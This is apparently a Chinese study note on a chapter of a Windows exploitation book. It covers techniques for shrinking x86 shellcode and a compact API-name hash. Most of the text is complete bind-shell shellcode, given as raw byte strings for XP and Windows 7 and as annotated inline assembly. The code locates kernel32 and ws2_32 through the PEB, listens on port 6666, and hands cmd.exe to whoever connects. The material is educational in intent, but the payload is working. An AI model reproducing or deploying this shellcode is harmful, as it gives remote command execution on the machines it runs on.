第 5.6 节讲述如何精简 shellcode，并实现一个用于端口绑定的 shellcode。原书中本节内容来自于 NGS 公司的安全专家 Dafydd Stuttard 的文章 “Writing Small Shellcode”
使用短小的指令
下面是一些非常有用的单字节指令
xchg eax,reg 交换 eax 和其他寄存器的值 lodsd 将 esi 指向的一个 dword 装入 eax，并增加/减少 esi lodsb 将 esi 指向的一个 byte 装入 al，并增加/减少 esi stosd 将 eax 的值存入 edi 指向的地址中，并增加/减少 edi stosb 将 al 的值存入 edi 指向的地址中，并增加/减少 edi pushad/popad 从栈中存储/恢复所有寄存器的值 cdq 用 edx 把 eax 扩展成四字，在 eax 小于 0x80000000 时等价于 mov edx,NULL
注意，以上操作中的增加/减少 reg，需要根据调和标志具体分析是递增还是递减。intel 默认是递增。
xchg、lods、stos 这些复合指令常常可以完成多个目的，事半功倍。
x86 功能相同或相似的指令长度可能相差很大，所以善于选用短小的指令。例如：
d0 c1 ; rol cl,1 c0 c1 0x02 ; rol cl,2 66 cl cl 0x02 ; rol cx,2
善用内存、寄存器和 HASH
对于参数中有大量 NULL 的 API，可以先初始化一片内存为 NULL，之后仅需存入非 NULL 的参数并调用 API，节省压栈指令。
有些 API 需要很大的结构体做参数，大多数健壮的 API 允许参数中的两个结构体重合，特别是一个作输入参数一个作输出参数的时候，将这两个结构体重合也能正常执行。这时只要 push esp 就可以省去初始化输入参数结构体的麻烦。
很多 Windows 的 API 要求参数是特定的数据类型或者特定区间的取值，但实验可以发现健壮的函数对于非法参数也能正确处理。例如当参数中有结构体指针和指明结构体大小的数值时，只要数值足够大，函数就能正确执行。这时，内存中的内容（哪怕是代码），只要够大，就能直接用，节省压栈操作。
在编译器看来，系统栈仅仅是保护函数断点、暂存函数参数和返回值的地方，但开发 shellcode 时需要更多想像力。栈顶之上的数据逻辑上已经作废，但物理内容往往保存完好，这里只要抬高栈顶就能变废为宝。
按照调用约定，调用 API 时有些寄存器一直被保存在栈中（EBP、ESI、EDI 等）。可以把函数调用信息保存在寄存器中而不是栈中。比如大多数 API 执行过程中都不会用到 EBP，故可以用 EBP 来保存数据，而不是把数据保存在栈中。
x86 的指令有自己特殊用途，有的指令只能用特定寄存器，有的用特定寄存器时的机器码比用其他寄存器短。另外，如果寄存器中有函数调用需要的参数，可以用时保存到栈里，避免之后的重复取值过程。
实用的 shellcode 往往需要 200-300 字节的机器码，所以对原始的 shellcode 进行压缩或编码是很划算的，比如之前用到的函数名 hash digest。
而进行 hash 等计算时，如果计算结果正好是类似 0x90 的准 NOP 指令（准 NOP 不要求一定是 0x90，也可以是相对于上下文而言的不相关操作，比如当 ECX 不影响工作时，INC ECX 就可以当作 NOP），则可以把这些计算结果放在 shellcode 的头部，省去跳过这段数据的跳转指令，让处理器把数据当代码执行。总之，为了开发优秀的 shellcode，可以 “不择手段”。
优化 HASH 算法、定位 API
实现 bindshell 需要的 API 如下：
kernel32.dll ： LoadLibraryA、CreateProcessA、ExitProcess
ws2_32.dll ： WSAStartup（初始化 WinSock）、WSASocketA（创建 WinSock）、bind、listen、accept（处理外部连接）
只要在搜索 kernel32.dll 和 ws2_32.dll 时能避免哈希碰撞（如果发生碰撞，只要碰撞的第一个点就是所需目标也能接受——碰撞容忍）。考虑到碰撞容忍，kernel32.dll 中导出的 900 多个函数，只要精心选择，hash 值到 8bit 也能接受。
实现的 Hash 算法要求：正确工作、Hash 值短小、Hash 算法短小。
可以被双字节指令实现的 hash 算法中，有 6 种符合基本条件，6 种中有 1 种符合代码和数据重叠（碰撞容忍）要求。书中经过人工筛选使用如下 hash 算法（可用于出书时的所有基于 NT 的 Windows 版本，后续使用需要重新审查碰撞容忍）
1 ; esi 指向 hash 计算的函数名, edx 初始化为 null 2 hash_loop: 3 lodsb ; load byte to al from func_name, esi++ 4 xor al,0x71 5 sub dl,al 6 cmp al,0x71
7 jne hash_loop
以上 hash 计算的所需 API 结果如下：
| 函数名 | hash digest | 等价的准 NOP |
| LoadLibraryA | 0x59 | pop ecx |
| CreateProcessA | 0x81 | or ecx, 0x203062D3 |
| ExitProcess | 0xC9 | |
| WSAStartup | 0xD3 | |
| WSASocketA | 0x62 | |
| bind | 0x30 | |
| listen | 0x20 | |
| accept | 0x41 | inc ecx |
调用 CreateProcessA() 时，需要 cmd.exe 作为参数，已知调用不需要 exe 后缀，并且参数大小写不敏感，即 CmD、cMD 等价。参数 CMd 符合准 NOP 要求：
ASCII opcode function --------------------------- C 0x43 inc ebx M 0x4D dec ebp d 0x64 FS: ; 取址前缀 FS 被处理器忽略
最终的 shellcode 如下（ xp 下试验成功）
1 /***************************************************************************** 2 To be the apostrophe which changed "Impossible" into "I'm possible"! 3 4 POC code of chapter 5.6 in book "Vulnerability Exploit and Analysis Technique" 5 6 file name : bindshell.c 7 author : failwest 8 date : 2006.12.11 9 description : used to generate PE file and extracted machine code 10 Noticed : assume EAX point to the beginning of shellcode 11 can't be executed directly 12 have to be loaded by shellcode loader 13 version : 1.0 14 E-mail : failwest@gmail.com 15 reference :"Writing Small Shellcode", Dafydd Stuttard, NGS white paper, 2005.9.19 16 http://www.nextgenss.com/research/papers/WritingSmallShellcode.pdf 17 18 Only for educational purposes enjoy the fun from exploiting :) 19 ******************************************************************************/ 20 21 #define DEBUG 1 22 23 char bs_win7[]= 24 "x59x81xC9xD3x62x30x20x41x43x4Dx64x99x96x8Dx7ExE8x64x8Bx5Ax30x8Bx4Bx0Cx8Bx49x1Cx8Bx09x8Bx09x8Bx69" 25 "x08xB6x03x2BxE2x66xBAx33x32x52x68x77x73x32x5Fx54xACx3CxD3x75x06x95xFFx57xF4x95x57x60x8Bx45x3Cx8B" 26 "x4Cx05x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99xACx34x71x2AxD0x3Cx71x75xF7x3Ax54x24x1C" 27 "x75xEAx8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3BxF7x75xB4x5Ex54x6Ax02" 28 "xADxFFxD0x88x46x13x8Dx48x30x8BxFCxF3xABx40x50x40x50xADxFFxD0x95xB8x02xFFx1Ax0Ax32xE4x50x54x55xAD" 29 "xFFxD0x85xC0x74xF8xFEx44x24x2Dx83xEFx6CxABxABxABx58x54x54x50x50x50x54x50x50x56x50xFFx56xE4xFFx56" 30 "xE8"; 31 32 char bs_xp[]= 33 "x59x81xC9xD3x62x30x20x41x43x4Dx64x99x96x8Dx7ExE8x64x8Bx5Ax30x8Bx4Bx0Cx8Bx49x1Cx8Bx09x8Bx69x08xB6" 34 "x03x2BxE2x66xBAx33x32x52x68x77x73x32x5Fx54xACx3CxD3x75x06x95xFFx57xF4x95x57x60x8Bx45x3Cx8Bx4Cx05" 35 "x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99xACx34x71x2AxD0x3Cx71x75xF7x3Ax54x24x1Cx75xEA" 36 "x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3BxF7x75xB4x5Ex54x6Ax02xADxFF" 37 "xD0x88x46x13x8Dx48x30x8BxFCxF3xABx40x50x40x50xADxFFxD0x95xB8x02xFFx1Ax0Ax32xE4x50x54x55xADxFFxD0" 38 "x85xC0x74xF8xFEx44x24x2Dx83xEFx6CxABxABxABx58x54x54x50x50x50x54x50x50x56x50xFFx56xE4xFFx56xE8"; 39 40 int main() 41 { 42 #if(DEBUG) 43 __asm{ 44 nop 45 nop 46 nop 47 nop 48 lea eax,bs_xp 49 push eax 50 ret 51 } 52 #else 53 __asm{ 54 nop 55 nop 56 nop 57 nop 58 nop 59 ; start of shellcode 60 ; assume: eax points here 61 ; function hashes (executable as nop-equivalent) 62 _emit 0x59 ; LoadLibraryA ; pop ecx 63 _emit 0x81 ; CreateProcessA ; or ecx, 0x203062d3 64 _emit 0xc9 ; ExitProcess 65 _emit 0xd3 ; WSAStartup 66 _emit 0x62 ; WSASocketA 67 _emit 0x30 ; bind 68 _emit 0x20 ; listen 69 _emit 0x41 ; accept ; inc ecx 70 71 ; "CMd" 72 _emit 0x43 ; inc ebx 73 _emit 0x4d ; dec ebp 74 _emit 0x64 ; FS: 75 76 ; start of proper code 77 cdq ; set edx = 0 (eax points to stack so is less than 0x80000000) 78 xchg eax, esi ; esi = addr of first function hash 79 lea edi, [esi - 0x18] ; edi = addr to start writing function 80 ; addresses (last addr will be written just 81 ; before "cmd") 82 83 ; find base addr of kernel32.dll 84 mov ebx, fs:[edx + 0x30] ; ebx = address of PEB 85 mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data 86 mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list 87 mov ecx, [ecx] ; ecx = second entry in list (kernel32.dll) 88 //mov ecx, [ecx] ; for win7 89 mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll 90 91 ; make some stack space 92 mov dh, 0x03 ; sizeof(WSADATA) is 0x190 93 sub esp, edx 94 95 ; push a pointer to "ws2_32" onto stack 96 mov dx, 0x3233 ; rest of edx is null 97 push edx 98 push 0x5f327377 99 push esp 100 101 102 find_lib_functions: 103 lodsb ; load next hash into al and increment esi 104 cmp al, 0xd3 ; hash of WSAStartup - trigger 105 ; LoadLibrary("ws2_32") 106 jne find_functions 107 xchg eax, ebp ; save current hash 108 call [edi - 0xc] ; LoadLibraryA 109 xchg eax, ebp ; restore current hash, and update ebp 110 ; with base address of ws2_32.dll 111 push edi ; save location of addr of first winsock function 112 113 find_functions: 114 pushad ; preserve registers 115 mov eax, [ebp + 0x3c] ; eax = start of PE header 116 mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table 117 add ecx, ebp ; ecx = absolute addr of export table 118 mov ebx, [ecx + 0x20] ; ebx = relative offset of names table 119 add ebx, ebp ; ebx = absolute addr of names table 120 xor edi, edi ; edi will count through the functions 121 122 123 next_function_loop: 124 inc edi ; increment function counter 125 mov esi, [ebx + edi * 4] ; esi = relative offset of current function name 126 add esi, ebp ; esi = absolute addr of current function name 127 cdq ; dl will hold hash (we know eax is small) 128 129 hash_loop: 130 lodsb ; load next char into al and increment esi 131 xor al, 0x71 ; XOR current char with 0x71 132 sub dl, al ; update hash with current char 133 cmp al, 0x71 ; loop until we reach end of string 134 jne hash_loop 135 cmp dl, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad) 136 jnz next_function_loop 137 138 ; we now have the right function 139 140 mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table 141 add ebx, ebp ; ebx = absolute addr of ordinals table 142 mov di, [ebx + 2 * edi] ; di = ordinal number of matched function 143 mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table 144 add ebx, ebp ; ebx = absolute addr of address table 145 add ebp, [ebx + 4 * edi] ; add to ebp (base addr of module) the 146 ; relative offset of matched function 147 xchg eax, ebp ; move func addr into eax 148 pop edi ; edi is last onto stack in pushad 149 stosd ; write function addr to [edi] and increment edi 150 push edi 151 popad ; restore registers 152 cmp esi, edi ; loop until we reach end of last hash 153 jne find_lib_functions 154 pop esi ; saved location of first winsock function 155 ; we will lodsd and call each func in sequence 156 157 ; initialize winsock 158 159 push esp ; use stack for WSADATA 160 push 0x02 ; wVersionRequested 161 lodsd 162 call eax ; WSAStartup 163 164 ; null-terminate "cmd" 165 mov byte ptr [esi + 0x13], al ; eax = 0 if WSAStartup() worked 166 167 ; clear some stack to use as NULL parameters 168 lea ecx, [eax + 0x30] ; sizeof(STARTUPINFO) = 0x44, 169 mov edi, esp 170 rep stosd ; eax is still 0 171 172 ; create socket 173 inc eax 174 push eax ; type = 1 (SOCK_STREAM) 175 inc eax 176 push eax ; af = 2 (AF_INET) 177 lodsd 178 call eax ; WSASocketA 179 xchg ebp, eax ; save SOCKET descriptor in ebp (safe from 180 ; being changed by remaining API calls) 181 182 ; push bind parameters 183 mov eax, 0x0a1aff02 ; 0x1a0a = port 6666, 0x02 = AF_INET 184 xor ah, ah ; remove the ff from eax 185 push eax ; we use 0x0a1a0002 as both the name (struct 186 ; sockaddr) and namelen (which only needs to 187 ; be large enough) 188 push esp ; pointer to our sockaddr struct 189 190 ; call bind(), listen() and accept() in turn 191 call_loop: 192 push ebp ; saved SOCKET descriptor (we implicitly pass 193 ; NULL for all other params) 194 lodsd 195 call eax ; call the next function 196 test eax, eax ; bind() and listen() return 0, accept() 197 ; returns a SOCKET descriptor 198 jz call_loop 199 200 ; initialise a STARTUPINFO structure at esp 201 inc byte ptr [esp + 0x2d] ; set STARTF_USESTDHANDLES to true 202 sub edi, 0x6c ; point edi at hStdInput in STARTUPINFO 203 stosd ; use SOCKET descriptor returned by accept 204 ; (still in eax) as the stdin handle 205 stosd ; same for stdout 206 stosd ; same for stderr (optional) 207 208 ; create process 209 pop eax ; set eax = 0 (STARTUPINFO now at esp + 4) 210 push esp ; use stack as PROCESSINFORMATION structure 211 ; (STARTUPINFO now back to esp) 212 push esp ; STARTUPINFO structure 213 push eax ; lpCurrentDirectory = NULL 214 push eax ; lpEnvironment = NULL 215 push eax ; dwCreationFlags = NULL 216 push esp ; bInheritHandles = true 217 push eax ; lpThreadAttributes = NULL 218 push eax ; lpProcessAttributes = NULL 219 push esi ; lpCommandLine = "cmd" 220 push eax ; lpApplicationName = NULL 221 call [esi - 0x1c] ; CreateProcessA 222 223 ; call ExitProcess() 224 call [esi - 0x18] ; ExitProcess 225 nop 226 nop 227 nop 228 nop 229 nop 230 } 231 #endif 232 return 0; 233 }
1. 这段 shellcode 执行前须约定 eax 指向 opcode 的开始。
代码写的很精炼，充分运用了本节进到的各种技巧。如果以后不看原书说明也能通过调试发现代码的精妙之处，则能力将比现在飞跃不少。
2. 利用前篇动态定位 API 时所用的方法（见上面代码第 88 行）修改后在 Win7 下实验不成功，实验时连第 103 行的 lodsb 结果都不正确（AL 被修改为 0xCC），不知道为何，先留下问题待以后有空再调。